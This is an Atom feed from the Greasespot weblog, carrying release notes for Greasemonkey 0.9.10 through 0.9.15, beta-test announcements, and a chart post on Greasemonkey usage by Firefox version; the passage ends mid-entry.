<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-11645460</id><updated>2012-01-25T14:40:42.819-08:00</updated><category term='release'/><title type='text'>Greasespot</title><subtitle type='html'>The weblog about greasemonkey</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.greasespot.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>87</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-11645460.post-129512636276320020</id><published>2012-01-25T14:40:00.000-08:00</published><updated>2012-01-25T14:40:42.860-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.15 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=31"&gt;0.9.15 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; or let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;This release was hurried, to resolve a few serious bugs introduced in 0.9.14. A few other bugs were also fixed.&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Editing an installed script to change any remote dependency (@icon, @require, @resource) could cause one or many scripts to be deleted. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1466"&gt;#1466&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1502"&gt;#1502&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Certain @requires can break a script, due to javascript semicolon insertion rules.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1491"&gt;#1491&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Toggling the enabled state of a script via the main (Tools &amp;gt; Greasemonkey) menu failed on Mac.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1496"&gt;#1496&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Installing a script from local disk failed in 0.9.14.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1501"&gt;#1501&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-129512636276320020?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/129512636276320020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=129512636276320020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/129512636276320020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/129512636276320020'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2012/01/greasemonkey-0915-release.html' title='Greasemonkey 0.9.15 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3010537231275941905</id><published>2012-01-20T08:15:00.000-08:00</published><updated>2012-01-20T08:15:01.418-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.14 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=30"&gt;0.9.14 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; or let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;For new script installs, and installed scripts' updates (still not enabled by default) there is a progress meter for the download. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1419"&gt;#1419&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Revert the changes to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GM_xmlhttpRequest()&lt;/span&gt; in 0.9.13 (which were supposed to have no effect, but created a subtle bug). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1472"&gt;#1472&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Guarantee that we do not create a specific kind of memory leak.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1482"&gt;#1482&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3010537231275941905?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3010537231275941905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3010537231275941905' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3010537231275941905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3010537231275941905'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2012/01/greasemonkey-0914-release.html' title='Greasemonkey 0.9.14 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-2768634283875255610</id><published>2011-11-03T12:10:00.000-07:00</published><updated>2011-11-03T12:10:24.735-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.13 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=28"&gt;0.9.13 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; or let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Script updates install automatically. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1442"&gt;#1442&lt;/a&gt;)&lt;br /&gt;In 0.9.12 we added update checking.&amp;nbsp; In 0.9.13 updates install automatically, but there's still some discussion over how to handle this best (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1455"&gt;#1455&lt;/a&gt;), so checking is still &lt;i&gt;not enabled by default&lt;/i&gt;.&amp;nbsp; We hope to figure this out by the 0.9.14 release.&amp;nbsp; Some other update related work was done, mostly to make Firefox 3 work better.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1421"&gt;#1421&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1422"&gt;#1422&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1423"&gt;#1423&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Provide an Options item in the Monkey Menu. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1447"&gt;#1447&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Add a Cancel button to the Options window. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1454"&gt;#1454&lt;/a&gt;) &lt;/li&gt;&lt;/ul&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GM_getResourceText()&lt;/span&gt; was broken. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1438"&gt;#1438&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;You can properly select an application (bundle) for the editor on Mac OS X.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1439"&gt;#1439&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GM_openInTab()&lt;/span&gt; for Firefox 3. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1444"&gt;#1444&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix when pages reassign the location during page load. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1445"&gt;#1445&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-2768634283875255610?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/2768634283875255610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=2768634283875255610' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2768634283875255610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2768634283875255610'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/11/greasemonkey-0913-release.html' title='Greasemonkey 0.9.13 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-204069893024370877</id><published>2011-10-28T14:12:00.000-07:00</published><updated>2011-10-28T14:12:09.939-07:00</updated><title type='text'>Greasemonkey Usage by Firefox Version, Oct 2011</title><content type='html'>Just like &lt;a href="http://www.greasespot.net/2011/08/greasemonkey-usage-by-firefox-version.html"&gt;August's post&lt;/a&gt;, here's a graph of what versions of Firefox people use Greasemonkey with.&lt;br /&gt;&lt;br /&gt;&lt;script src="//ajax.googleapis.com/ajax/static/modules/gviz/1.0/chart.js" type="text/javascript"&gt; {"dataSourceUrl":"//docs.google.com/spreadsheet/tq?key=0AnbPKNXgZu0-dDZiOWNqQmFVQXpRWkEwblp0Z1ZJc0E&amp;transpose=0&amp;headers=1&amp;range=A1%3AI178&amp;gid=1&amp;pub=1","options":{"displayAnnotations":true,"thickness":2,"displayRangeSelector":true,"displayZoomButtons":true,"wmode":"opaque","hasLabelsColumn":true,"hAxis":{"maxAlternations":1},"width":448,"height":237},"state":{},"chartType":"AnnotatedTimeLine","chartName":"Greasemonkey Usage by Firefox Version, Oct 2011"} &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;You can open &lt;a href="https://docs.google.com/spreadsheet/ccc?key=0AnbPKNXgZu0-dDZiOWNqQmFVQXpRWkEwblp0Z1ZJc0E&amp;amp;hl=en_US#gid=3"&gt;the spreadsheet&lt;/a&gt; for the raw data and a larger graph.&lt;br /&gt;&lt;br /&gt;Takeaways seem to be not a lot has changed, besides some up-and-down for each rapid release version since then (6 came and went, with 7 replacing it).&amp;nbsp; Firefox 3.6 users are still just shy of three quarters of a million.&amp;nbsp; Firefox versions too old for the newest version of Greasemonkey are still hanging in at almost a quarter million, and just shy of 50,000 users are running a too-new version of Firefox, probably with &lt;a href="http://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CB4QFjAA&amp;amp;url=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Faddon%2Fadd-on-compatibility-reporter%2F&amp;amp;ei=kRqrTpjuF8Tj0QHhopCHDw&amp;amp;usg=AFQjCNFBWhHQZU8r1pwQVxX3K7yMQcqaAA&amp;amp;sig2=lFTaaeTIijis_-F3vDMKXg"&gt;Add-on Compatibility Reporter&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-204069893024370877?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/204069893024370877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=204069893024370877' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/204069893024370877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/204069893024370877'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/10/greasemonkey-usage-by-firefox-version.html' title='Greasemonkey Usage by Firefox Version, Oct 2011'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3051951591549082790</id><published>2011-10-21T13:01:00.000-07:00</published><updated>2011-10-21T13:01:53.313-07:00</updated><title type='text'>Greasemonkey 0.9.13 beta1</title><content type='html'>Greasemonkey release 0.9.13 should include complete automatic in-the-backgroudn updating of user scripts.&amp;nbsp; As yet there are no docs for script authors but the short version is: put an @version in your metadata, and increase it when there is an update.&lt;br /&gt;&lt;br /&gt;Greasemonkey 0.9.13 beta1 is now available for testing.&amp;nbsp; It's in the Mozilla Add-ons &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/#beta-channel"&gt;beta channel&lt;/a&gt;.  Open the "Development Channel" drop down at the bottom of the page, and click the "Add to Firefox" button.&lt;br /&gt;&lt;br /&gt;Please &lt;a href="https://github.com/greasemonkey/greasemonkey/issues"&gt;report an issue&lt;/a&gt; or find us at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;the mailing list&lt;/a&gt; to provide feedback on beta versions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3051951591549082790?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3051951591549082790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3051951591549082790' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3051951591549082790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3051951591549082790'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/10/greasemonkey-0913-beta1.html' title='Greasemonkey 0.9.13 beta1'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-4917250883805306863</id><published>2011-09-29T07:47:00.000-07:00</published><updated>2011-10-21T12:55:56.144-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.12 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=26"&gt;0.9.12 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; or let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt;&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Script update checking (limited!). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1053"&gt;#1053&lt;/a&gt;)&lt;br /&gt;We have started to build script update checking.&amp;nbsp; In 0.9.12, it is never automatic in the background.&amp;nbsp; You may choose to check one script (right click and choose "Find updates") or all scripts ("Check for updates" in the tool menu near the top of the Add-ons Manager).&amp;nbsp; If updates are found they will then be displayed.&amp;nbsp; Please use this feature and let us know if it works well, or if it breaks somehow.&amp;nbsp; Once we're confident that it works, we'll turn it on by default (automatically checking in the background) in a future release.&lt;/li&gt;&lt;li&gt;Scripts run with the latest available version of Javascript. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1403"&gt;#1403&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Shared &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window&lt;/span&gt; object. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1278"&gt;#1278&lt;/a&gt;)&lt;br /&gt;Before 0.9.0, it was possible to set properties on the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window&lt;/span&gt; object, and other scripts would be able to read those properties.&amp;nbsp; This behavior was never supported, but as the compatibility fix that broke it is no longer necessary, it has been reverted.&amp;nbsp; It is still not suggested that you leverage this quirk, it is not a fully supported feature and may break again in the future.&lt;/li&gt;&lt;li&gt;Right-clicking a script in the Monkey Menu works, even when no editor is configured.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1405"&gt;#1405&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix launching the editor.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1409"&gt;#1409&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Scripts with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;@match&lt;/span&gt; could break loading all other scripts.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1414"&gt;#1414&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;When browsing local files, menu commands for all scripts (on all tabs) no longer display.&amp;nbsp; (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1424"&gt;#1424&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;GM_openInTab()&lt;/span&gt;. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1428"&gt;#1428&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-4917250883805306863?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/4917250883805306863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=4917250883805306863' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4917250883805306863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4917250883805306863'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/09/greasemonkey-0912-release.html' title='Greasemonkey 0.9.12 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3024959877053612748</id><published>2011-09-23T13:43:00.000-07:00</published><updated>2011-09-26T08:41:30.715-07:00</updated><title type='text'>Try the Greasemonkey 0.9.12 beta!</title><content type='html'>We've fixed &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?milestone=26&amp;amp;state=closed"&gt;a few bugs&lt;/a&gt; and started working on auto-updates for scripts.  Please, if you have a chance, download the beta release and test things out.&lt;br /&gt;&lt;br /&gt;It's available in the Mozilla Add-ons &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/#beta-channel"&gt;beta channel&lt;/a&gt;.  Open the "Development Channel" drop down at the bottom of the page, and click the "Add to Firefox" button.&lt;br /&gt;&lt;br /&gt;Please &lt;a href="https://github.com/greasemonkey/greasemonkey/issues"&gt;report an issue&lt;/a&gt; or find us at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;the mailing list&lt;/a&gt; to provide feedback on beta versions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3024959877053612748?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3024959877053612748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3024959877053612748'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/09/try-greasemonkey-0912-beta.html' title='Try the Greasemonkey 0.9.12 beta!'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-4686700962139776868</id><published>2011-09-06T06:38:00.000-07:00</published><updated>2011-09-06T06:39:40.387-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.11 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=27"&gt;0.9.11 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;ul&gt;&lt;li&gt;Work around for a problem Tab Mix Plus causes when opening links in new tabs. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1406"&gt;#1406&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-4686700962139776868?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/4686700962139776868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=4686700962139776868' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4686700962139776868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4686700962139776868'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/09/greasemonkey-0911-release.html' title='Greasemonkey 0.9.11 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-576293321033936172</id><published>2011-08-22T12:53:00.000-07:00</published><updated>2011-08-22T12:58:21.477-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.10 Release</title><content type='html'>The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=25"&gt;0.9.10 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;ul&gt;&lt;li&gt;You will be prompted to pick a new editor if the existing setting is an invalid path. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1386"&gt;#1386&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Changing views within the Add-ons Manager could cause the user script sort order to be wrong.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1394"&gt;#1394&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;ul&gt;&lt;li&gt;When a script causes an unhandled error, the display in the Error Console will be a bit easier to read.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1396"&gt;#1396&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;When Growl is not installed, Greasemonkey's notifications are less obtrusive.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1397"&gt;#1397&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;A range of internal code clean ups.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1395"&gt;#1395&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1398"&gt;#1398&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1399"&gt;#1399&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1400"&gt;#1400&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1401"&gt;#1401&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-576293321033936172?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/576293321033936172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=576293321033936172' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/576293321033936172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/576293321033936172'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/08/greasemonkey-0910-release.html' title='Greasemonkey 0.9.10 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 